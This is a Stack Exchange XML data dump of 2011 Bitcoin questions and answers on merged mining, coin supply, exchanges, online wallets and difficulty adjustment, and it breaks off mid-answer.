  <row Id="271" PostTypeId="2" ParentId="265" CreationDate="2011-08-31T10:47:17.257" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/users/53/gavinandresen&quot;&gt;Gavin Andresen&lt;/a&gt;, the Bitcoin client technical lead, has expressed a desire that effort be focused on closing bug reports in the client. You can find the current list of open issues &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues?sort=created&amp;amp;direction=desc&amp;amp;state=open&quot; rel=&quot;nofollow noreferrer&quot;&gt;on GitHub&lt;/a&gt;. You can also find some documentation about how to create your own fork of the project source and how to suggest that changes from your fork be pulled (imported) into the main release in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=4571.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavin's post&lt;/a&gt; here.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-08-31T11:13:04.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostTypeId="2" ParentId="257" CreationDate="2011-08-31T11:24:28.233" Score="5" Body="&lt;p&gt;As far as I'm aware most bitcoin exchanges don't adopt fiat currency as it requires them to be licenced with the money markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same goes for the forex markets which exist such as IG Index or Capital Markets. The situation which would allow them to trade bitcoins for money is not suitable as it's not recognised as legal tender and organisations such as the IMF would not accept trading on licenced exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's rather safe to assume for major players in the money markets would be unable to adopt bitcoins due to the red tape involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small quote from the best exchange I am on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Financial Regulation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our business and services are buying, selling and trading virtual goods and commodities. We are not currently regulated as a financial institution.&quot;&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="72" LastEditDate="2011-09-01T01:05:20.090" LastActivityDate="2011-09-01T01:05:20.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="273" PostTypeId="1" AcceptedAnswerId="275" CreationDate="2011-08-31T11:58:18.437" Score="110" ViewCount="82041" Body="&lt;p&gt;How does the implementation of merged mining affect the global hash rate of alt chains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does one solution fit all?  Does one solution fit some?  Does the rate of &quot;solutions that will fit&quot; decrease the more forks that it is tested against?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An explanation of how merged mining actually works would be excellent.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="5406" LastEditDate="2016-01-22T22:21:08.387" LastActivityDate="2018-08-29T04:36:40.620" Title="How does merged mining work?" Tags="|hashpower|merged-mining|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostTypeId="2" ParentId="161" CreationDate="2011-08-31T12:16:34.410" Score="51" Body="&lt;p&gt;Every block introduces 50 new coins in the system. This quantity (50) halves every 210,000 blocks. So, getting the limit of coins it is possible to generate is quite easy : it's the sum of a geometric series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTVgM.gif&quot; alt=&quot;latex formula&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that this is an upper bound ; the actual quantity will probably be a bit lower due to rounding issues (BTC has a finite number of decimals, 8).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-08-31T12:16:34.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="275" PostTypeId="2" ParentId="273" CreationDate="2011-08-31T12:28:14.097" Score="101" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/namecoin/wiki/blob/master/Merged-Mining.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;Merged mining&lt;/a&gt; allows a miner to mine for more than one block chain at the same time. The benefit is that every hash the miner does contributes to the total hash rate of both (all) currencies, and as a result they are all more secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a high-level explanation: The miner (or mining controller in the case of pooled mining) actually builds a block for both hash chains in such a way that the same hash calculation secures both blocks. Work units based on this block are then assigned to miners. If a miner solves a block (at the difficulty level of either or both block chains) the block is re-assembled with the completed proof of work and submitted to the correct block chain (or both blocks are separately reassembled and each submitted to the corresponding network if it met both of their difficulty requirements).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only confusing detail is how the same hash can secure both block chains. I'll use the example of Bitcoin and Namecoin, where Namecoin supports merged mining and Bitcoin doesn't:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the miner must assemble a transaction set for both block chains. He then assembles the final Namecoin block and hashes it. He then creates a transaction containing this hash that is valid in the Bitcoin chain and inserts it in the Bitcoin transaction set at the tip of the tree. He then assembles the final Bitcoin header with this transaction in it and sends out the work units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner solves the hash at the Bitcoin difficulty level, the Bitcoin block is assembled and sent to the Bitcoin network. The Namecoin hash does nothing and the Bitcoin network ignores it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner solves the hash at the Namecoin difficulty level, the Namecoin block is assembled. It includes the Namecoin transaction set, the Namecoin block header, the Bitcoin block header, and the hash of the rest of the transactions in the Bitcoin block. This entire &quot;mess&quot; is then submitted to the Namecoin system. The Namecoin system, supporting merged mining, accepts this as proof of work because it contains work that must have been done after the block header and Namecoin transaction set was built. (Because you can't build the Bitcoin transaction set containing that hash, and therefore the Bitcoin header that secures it, without that information. So it proves the work was done.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a miner can solve both chains simultaneously, and they will if they solve at the higher difficulty. One block can &quot;win&quot; in the public chain and not the other. They are fully independent -- only the mining is merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three key points to remember:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Bitcoin chain doesn't get junked up with Namecoin stuff due to merged mining. At most, one tiny hash is inserted in the transaction tree.&lt;/li&gt;&#xA;&lt;li&gt;The two hash chains remain fully independent. The &quot;Bitcoin stuff&quot; that goes in the Namecoin tree is basically ignored and only used to validate the proof of work. (It will bloat the Namecoin chain a bit as it means some blocks will have an extra header and an extra hash.)&lt;/li&gt;&#xA;&lt;li&gt;Lastly, no special support is needed from Bitcoin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The benefit for Namecoin is obvious. A lot of Bitcoin miners will probably do merged mining, since it costs them basically nothing and gives them a greater return than mining Bitcoins alone. As a result, their block generation timing will be more predictable and their transactions more secure against a 51% attack.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="42162" LastEditDate="2018-08-29T04:36:40.620" LastActivityDate="2018-08-29T04:36:40.620" CommentCount="21" ContentLicense="CC BY-SA 4.0" />
  <row Id="276" PostTypeId="2" ParentId="256" CreationDate="2011-08-31T12:54:49.660" Score="19" Body="&lt;p&gt;TL;DR:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the first instance, my belief is that a government would have to&#xA;  create their own brand of Bitcoin (i.e. a new version of the&#xA;  blockchain) and use that to trade against other currencies. This is a&#xA;  useful move because the government retains control over their currency&#xA;  (they set the mining rules) and they don't suffer a wealth drain in&#xA;  the process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In more detail, once a country (our mythical Seashell Island from the earlier draft) has decided that it wants to adopt Bitcoin as it's local currency the following timeline is likely to come into play:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Research into Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this time the government will need to look into what benefits and drawbacks Bitcoin is likely to bring to their economy. Assuming that they currently have a weak currency, then adopting Bitcoin early could be seen as a smart move since it gives them lower cost of entry into the Bitcoin marketplace. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among the obvious advantages that Bitcoin brings with it are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;resistance to counterfeiting&lt;/li&gt;&#xA;&lt;li&gt;resistance to inflation&lt;/li&gt;&#xA;&lt;li&gt;easier to track than cash for traditional transactions types (i.e. not including private sales of high value private keys)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some of the drawbacks are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;economy becomes vulnerable to loss of electricity/networking (true of all electronic transactions at present)&lt;/li&gt;&#xA;&lt;li&gt;banks have a reduced regulatory role since transactions become largely anonymous &lt;/li&gt;&#xA;&lt;li&gt;increased potential for anonymous transactions to take place in large amounts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This last drawback is perhaps the most serious since it allows for a vast amount of money to be moved in and out of the country without the knowledge of the government. Admittedly, this happens in the present system although due to the large physical size of cash it usually requires laundering of some kind (conversion to something precious). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, government resources are significant and it is very hard to remain anonymous for long. Over time detailed statistics analysing transactions could be used by the police to pinpoint individuals reusing Bitcoin addresses. This process is made much easier by the existence of tools like blockexplorer.com and should be seen as an improvement over the existing traceability processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting up the necessary processes/contracts to obtain some form of Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By this stage the government researchers will likely have determined that there are only a few feasible options to get hold of &lt;strong&gt;bitcoins&lt;/strong&gt; (note the lowercase here):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set up their own mining pool (initially paying for it in their own currency) - unlikely&lt;/li&gt;&#xA;&lt;li&gt;create a suitable contract with a mining pool to buy a large quantity of bitcoins (without including their own soon to be worthless currency - unlikely &lt;/li&gt;&#xA;&lt;li&gt;encourage their citizens to go forth and buy bitcoins themselves and slowly drain the local currency into foreign hands then pull the plug on it (not exactly above board) - unlikely&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using any of the above approaches at this stage requires a significant transfer of wealth from the country into bitcoins and is probably the hardest part to get right. The problem is that there is no central authority who can control the supply of bitcoins exposing the country to the influence of the market. In the case of Euros, the exchange rate of the participating currencies was fixed well in advance after significant negotiation. When the time came to switch over nobody lost out because all the old currency was replaced with the new, which could be printed at will by the central bank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be argued (by @David Perry for one) that some kind of intermediate value-store could be used, such as gold or silver. However, this still requires all of the country's wealth to be slowly converted to this value-store which will raise eyebrows among those folks selling it in exchange for a soon to be worthless currency. I'd welcome further discussion on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a significant danger that the country could be declared bankrupt in it's own currency before it is able to complete the operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT to cover the most likely path by a government:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if a government &lt;a href=&quot;https://en.bitcoin.it/wiki/Alternative_Chains&quot;&gt;made their own blockchain&lt;/a&gt; (e.g. SeashellCoin) then they could in theory &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_5%3a_Trading_across_chains&quot;&gt;use scripts to manage trades with Bitcoin&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would permit a staged transition and essentially solves the value-store problem. The value of a Seashell would be fixed against their SeashellCoin equivalent (probably as 1:1). In my opinion, this is probably the most likely mechanism that a government could take. The government could decide upon their own inflation model, select a Version entry and then throw a supercomputer on the job for 5 minutes to generate a few million coins. Once that's done then they can take advantage of the blockchain approach and off they go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting up the necessary legislation to make them legal tender locally&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an adequate number of Bitcoins are, somehow, in the government coffers they can then make the announcement that all local debts can be paid in bitcoins and will be accepted by a court of law. This ratifies Bitcoins around the world (assuming the country is a recognised state) leading to a huge increase in the value of Bitcoins. It also opens the door to taxation in bitcoins which would largely operate in the same way as it did before. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Value Added Tax (VAT) (aka sales tax) would continue to be added to Bitcoin transactions by merchants who would then transfer the money to the government at regular intervals, overseen by accountants&lt;/li&gt;&#xA;&lt;li&gt;Income tax would also stay the same &lt;/li&gt;&#xA;&lt;li&gt;Accounts would have to be returned &lt;strong&gt;along with their transaction IDs to allow verification of truth&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Standard statistical methods to detect fraud would remain (relies on most folks behaving themselves)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Managing the transition among the general population&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is the government driving this then they are likely to provide all necessary equipment to facilitate the transfer. This would include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;recommendations for mobile phone applications (probably not likely to make their own due to &quot;backdoor&quot; privacy concerns)&lt;/li&gt;&#xA;&lt;li&gt;provision of Bitcoin Wallet Devices that offer tamperproof private keys and are essentially like smartphones for those that don't have mobile phones (see the original Fred)&lt;/li&gt;&#xA;&lt;li&gt;provision of EPOS systems that are Bitcoin enabled &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the above would probably occur via contracts with private companies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handled well, the transition to Bitcoin would be like introducing a new contactless payment system. They would still want to maintain a secure location for their bitcoins (most likely a government backed bank) and after a while it would just fade into the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reaping the benefits to the economy afterwards&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much of the long term benefits would stem from&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the decreased transaction friction within the existing legal and banking system&lt;/li&gt;&#xA;&lt;li&gt;better fiscal policy since supply is limited leading to improved standards of living and quality of life&lt;/li&gt;&#xA;&lt;li&gt;increased long term wealth as an early adopter to a global currency&lt;/li&gt;&#xA;&lt;li&gt;greater transparency in accounting that can be easily verified&lt;/li&gt;&#xA;&lt;li&gt;immunity to global currency crises&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just my 2 BTCs.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2011-09-05T18:03:28.217" LastActivityDate="2011-09-05T18:03:28.217" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostTypeId="1" AcceptedAnswerId="278" CreationDate="2011-08-31T12:56:12.240" Score="13" ViewCount="639" Body="&lt;p&gt;Let's say I get a hash rate of &lt;code&gt;X&lt;/code&gt; when mining either Bitcoin or Namecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Merged Mining, will I be able to still do &lt;code&gt;X&lt;/code&gt; concurrently on both blockchains, or will I do significantly less than &lt;code&gt;X&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if I merge-mine other coins, will it hurt my Bitcoin mining rate at all?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T13:49:41.557" LastActivityDate="2018-03-09T06:18:36.267" Title="Will merged mining mine each chain as efficiently as non-merged mining?" Tags="|merged-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostTypeId="2" ParentId="277" CreationDate="2011-08-31T13:01:52.980" Score="12" Body="&lt;p&gt;Every hash you do will contribute fully to the hashing power of both block chains. You will have to do a tiny bit of extra work when you generate a work unit, but that's almost insignificant, and you only need to generate a work unit once for every few billion hashes you do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will generate just as many Bitcoins as if you only mined Bitcoins and just as many Namecoins as if you only mined Namecoins. There are only two downsides of any significance. First, your Namecoin blocks will be a bit larger than they would otherwise be, since they include Bitcoin headers. Second, you will have to generate new work units every time a new block is discovered on either hash chain, so about twice as often. (This can be a big deal for a large mining pool.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my answer to this question for details on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/273/merged-mining-the-effects-on-bitcoin-and-forkchains&quot;&gt;merged mining&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-08-31T13:01:52.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="279" PostTypeId="1" AcceptedAnswerId="280" CreationDate="2011-08-31T13:27:31.847" Score="0" ViewCount="294" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/151/is-there-a-solid-bitcoin-bank-yet&quot;&gt;Is there a solid &amp;quot;Bitcoin Bank&amp;quot; yet?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Say that I wish to control my bitcoins from a (for me) single point and I don't have the technical resources to have a single access point with a wallet amongst my own personal computers / devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a bitcoin bank or similar service that hosts my bitcoin wallet for me and is there a benefit to such a service beyond likely better backup and being a single point to which I can manage my bitcoins without having to set up my own remote access to a home PC?  What are the reasons against using such a service?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-08-31T14:50:56.093" Title="Are there any bitcoin banks (online services) and what are the benefits and pitfalls of using them?" Tags="|banks|services|" AnswerCount="2" CommentCount="0" ClosedDate="2011-08-31T19:55:46.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="280" PostTypeId="2" ParentId="279" CreationDate="2011-08-31T13:36:52.317" Score="2" Body="&lt;p&gt;There are such services. But there's a good reason not to use them -- if one day the service is gone, so are all your Bitcoins. This has already happened once and will almost certainly happen again. As of yet, there are no companies I would consider sufficiently reputable in this business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, however, keep both Bitcoins and other currencies in a TradeHill or Mt. Gox account. You can fairly easily transfer Bitcoins into and out of those accounts and they're run by well-financed companies that can reasonably be trusted. And both TradeHill and Mt. Gox have made noises about making their accounts more like online wallets.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-08-31T13:36:52.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostTypeId="2" ParentId="279" CreationDate="2011-08-31T13:38:26.557" Score="2" Body="&lt;p&gt;Flexcoin offers an online wallet and &quot;banking service&quot; which actually pays interest on positive balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do this by charging a fee for external payments, flexcoin to flexcoin remains free. 70% of all interest is then distribuited between its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concerns of this is that an unregulated third party is in control of your money. Bitcoin is aimed at a cash style system, its all about trust when you put your money in other peoples hands.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2011-08-31T14:50:56.093" LastActivityDate="2011-08-31T14:50:56.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="282" PostTypeId="2" ParentId="209" CreationDate="2011-08-31T14:34:56.763" Score="8" Body="&lt;p&gt;The special ‘coinbase’ transaction, which begins every block of the main chain, usually contains a single output with a single address (owned by the person or the pool that generated the transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the fact that this transaction usually contains a single output is not enforced by the system. You may have a look at what an Eligius block &lt;a href=&quot;http://blockexplorer.com/block/00000000000000d922827cd74bf0ab841b3c34ae90b204e34c548df43756a16e&quot; rel=&quot;nofollow&quot;&gt;looks like&lt;/a&gt;. The Eligius pool uses this to credit its users directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible¹ to include inputs in these transactions (the block would be invalid otherwise). The only &lt;em&gt;special&lt;/em&gt; input is the 25BTC one (currently, every 4 years this value will decrease) granted to the block founder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;—&lt;br&gt;&#xA;&lt;sup&gt;1. In &lt;code&gt;main.h&lt;/code&gt;, function &lt;code&gt;IsCoinBase()&lt;/code&gt;: &lt;code&gt;return (vin.size() == 1 &amp;amp;&amp;amp; vin[0].prevout.IsNull());&lt;/code&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2012-12-01T16:50:22.357" LastActivityDate="2012-12-01T16:50:22.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="283" PostTypeId="2" ParentId="262" CreationDate="2011-08-31T14:42:42.793" Score="4" Body="&lt;p&gt;Go to &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getblockcount&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other statistics are available at &lt;a href=&quot;http://blockexplorer.com/q&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2011-08-31T14:42:42.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="284" PostTypeId="1" CreationDate="2011-08-31T14:58:04.700" Score="0" ViewCount="391" Body="&lt;p&gt;We've seen the issues taking place with the Eurozone, notably that countries who share monetary union seem to ultimately need to share economic union, which tends to lead to political union.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plausible scenario whereby Bitcoin (or similar) could become a world currency, yet somehow different countries could avoid economic/political union and maintain sovereignty?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="78" LastEditDate="2011-09-08T05:59:59.090" LastActivityDate="2011-09-08T05:59:59.090" Title="Could Bitcoin work as a world currency?" Tags="|bitcoin-economy|currencies|politics|" AnswerCount="1" CommentCount="5" ClosedDate="2011-08-31T17:37:45.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostTypeId="2" ParentId="284" CreationDate="2011-08-31T15:04:37.470" Score="2" Body="&lt;p&gt;It all boils down to the amount of people who adopt it as a stanard as measurement of wealth. if around 10% of the country were to use it as a form of payment (requesting it for wages, using it in shops and so forth) the likelyhood of it taking of would be signifcantly higher, below this it would never happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT - Found it] &lt;a href=&quot;http://pre.aps.org/abstract/PRE/v84/i1/e011130&quot; rel=&quot;nofollow&quot;&gt;http://pre.aps.org/abstract/PRE/v84/i1/e011130&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue is government buying into the idea of a currency they could not control, although this would be relevantly null if they were to hold a substantial amount of any given currency, there is little reason they couldnt &quot;mint&quot; their own chain and distribute the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both ideas are entirely possible with widespread adoption but until the magic 10% figure is hit it will never happen.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-08-31T15:04:37.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostTypeId="1" CreationDate="2011-08-31T15:21:00.763" Score="15" ViewCount="4212" Body="&lt;p&gt;For those of us unable or unwilling to spend our native currencies on bitcoin, but willing to work for them. Where are the bitcoin-jobs(or micro-jobs) to be found?&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2013-12-12T20:33:28.447" Title="Where can I find people willing to pay me in bitcoin for services?" Tags="|bitcoin-economy|services|" AnswerCount="11" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostTypeId="2" ParentId="249" CreationDate="2011-08-31T15:31:11.403" Score="8" Body="&lt;p&gt;Probably both, though the effect may be pretty small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arguably, the most prudent use of options is reducing risk.  For example, a merchant with accounts receivable in Bitcoins would want to protect the value of the fixed amount of BTC he will receive.  Options can limit his downside risk.  At present the price volatility of Bitcoins hampers its use for commerce, since the value of an asking price in BTC varies so much from day to day.  With options to reduce risk, more businesses will be willing to accept Bitcoins, bringing more liquidity to the Bitcoin &quot;ecosystem&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increased acceptance of Bitcoins and increased &quot;money supply&quot; are more likely than options to stabilize prices.  They would reduce price fluctuations caused by thin trading.  The same effect is seen in the stock market where relatively unknown stocks undergo drastic price swings due to somewhat small trades.  Conversely, a widely traded stock exhibits much less volatility.&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2011-08-31T15:31:11.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostTypeId="2" ParentId="286" CreationDate="2011-08-31T15:36:34.093" Score="0" Body="&lt;p&gt;The obvious answer is &lt;a href=&quot;http://forbitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;ForBitcoin.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-08-31T15:36:34.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="289" PostTypeId="1" AcceptedAnswerId="292" CreationDate="2011-08-31T15:48:56.010" Score="16" ViewCount="4438" Body="&lt;p&gt;Since difficulty is only &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_often_does_the_difficulty_change.3F&quot; rel=&quot;nofollow&quot;&gt;adjusted every 2016 blocks&lt;/a&gt;, what would happen if hash rate was to decrease rapidly? Wouldn't this cause blocks to be created less frequently and also making the time until difficulty is adjusted even longer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a scenario I had in mind, please point out any errors in it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Some event causes people to lose faith in Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Those people sell off a lot of Bitcoins, causing the value of a Bitcoin (compared to e.g. a dollar) to drop a lot&lt;/li&gt;&#xA;&lt;li&gt;Miners (who pay their electricity bill in dollars) find that mining is no longer profitable and a lot of them quit (until it is once again profitable)&lt;/li&gt;&#xA;&lt;li&gt;The time between blocks has now increased (let's say to 15-20 minutes) since difficulty has not yet been adjusted.&lt;/li&gt;&#xA;&lt;li&gt;People experience that the Bitcoin network is slow, it takes a lot of time to get transactions confirmed, and starts to lose faith in Bitcoin. Go to (1).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, could this cause a downward spiral of the faith in Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="5406" LastEditDate="2016-01-21T14:26:28.000" LastActivityDate="2016-01-21T14:26:28.000" Title="What happens if hash rate decreases rapidly?" Tags="|difficulty|hashpower|mining-theory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="290" PostTypeId="2" ParentId="237" CreationDate="2011-08-31T15:49:23.860" Score="0" Body="&lt;p&gt;To be useful as a medium of exchange it must be a useful store of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use bitcoin as a medium of exchange I have to be confident that the bitcoins will not change in value between the point I receive them and the point I spend them.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2011-08-31T15:49:23.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostTypeId="2" ParentId="254" CreationDate="2011-08-31T15:53:44.667" Score="4" Body="&lt;p&gt;In concept, P2Pool is much stronger than centralized pools. Unfortunately, most centralized pools still hold a high hash-rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the global hash rate, and its distribution at &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion is that miners are used to using slush, deep bit, and btcguild - and are either unaware of the incentives of P2Pool, or don't care.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-31T15:53:44.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="292" PostTypeId="2" ParentId="289" CreationDate="2011-08-31T16:00:05.550" Score="9" Body="&lt;p&gt;Yes, it could. It's not very likely, but it could happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing to keep in mind is that Bitcoin is incredibly resistant to these kinds of problems. Everyone who participates in the Bitcoin network has an incentive to keep that network useful. So a new client with a different difficulty algorithm could be released in a few days and the network transitioned in less than a week if needed. The difficulty adjustment could be changed if it needed to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one thing, the &quot;6 confirmations&quot; rule is way overkill. People could compensate just by accepting 4 confirmations for transactions under $10,000 or the equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, people would see this risk coming several months away and could deploy a fix before it was needed. If circumstances in any way suggested that this was a realistic possibility, even in the absence of an actual attack a community consensus and transition plan could be developed and implemented. Alternative difficulty algorithms have already been proposed and even implemented (in other block chains) that don't have this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I think such a change would be a bad idea. The problem is very unlikely, and any mass change in the logic of Bitcoin could undermine confidence in the long-term stability of the system. People might think &quot;if they change the difficulty algorithm today, maybe they'll change the Bitcoin generation rate 